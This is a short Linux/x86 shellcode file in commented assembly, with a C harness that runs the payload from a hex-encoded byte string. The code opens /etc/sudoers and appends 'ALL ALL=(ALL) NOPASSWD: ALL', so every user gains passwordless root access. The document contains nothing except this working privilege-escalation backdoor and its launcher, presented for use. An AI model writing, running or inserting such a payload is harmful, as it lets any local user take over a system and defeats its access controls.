/*
Author: Rick
Email: rick2600@hotmail.com

OS: Linux/x86
Description: Anyone can run sudo without password

section .text
  global _start

_start:

  ;open("/etc/sudoers", O_WRONLY | O_APPEND);
  xor eax, eax
  push eax
  push 0x7372656f 
  push 0x6475732f
  push 0x6374652f
  mov ebx, esp
  mov cx, 0x401
  mov al, 0x05
  int 0x80

  mov ebx, eax  

  ;write(fd, ALL ALL=(ALL) NOPASSWD: ALL\n, len);
  xor eax, eax
  push eax
  push 0x0a4c4c41
  push 0x203a4457
  push 0x53534150
  push 0x4f4e2029
  push 0x4c4c4128
  push 0x3d4c4c41
  push 0x204c4c41
  mov ecx, esp
  mov dl, 0x1c
  mov al, 0x04
  int 0x80

  ;close(file)
  mov al, 0x06
  int 0x80

  ;exit(0);
  xor ebx, ebx
  mov al, 0x01
  int 0x80

*/

#include <stdio.h>
#include <string.h>

char code[] =
"\x31\xc0\x50\x68\x6f\x65\x72\x73\x68\x2f\x73\x75\x64"
"\x68\x2f\x65\x74\x63\x89\xe3\x66\xb9\x01\x04\xb0\x05"
"\xcd\x80\x89\xc3\x31\xc0\x50\x68\x41\x4c\x4c\x0a\x68"
"\x57\x44\x3a\x20\x68\x50\x41\x53\x53\x68\x29\x20\x4e"
"\x4f\x68\x28\x41\x4c\x4c\x68\x41\x4c\x4c\x3d\x68\x41"
"\x4c\x4c\x20\x89\xe1\xb2\x1c\xb0\x04\xcd\x80\xb0\x06"
"\xcd\x80\x31\xdb\xb0\x01\xcd\x80";

void main(void) {
  
  void (*shellcode)() = code;
  shellcode();
  
}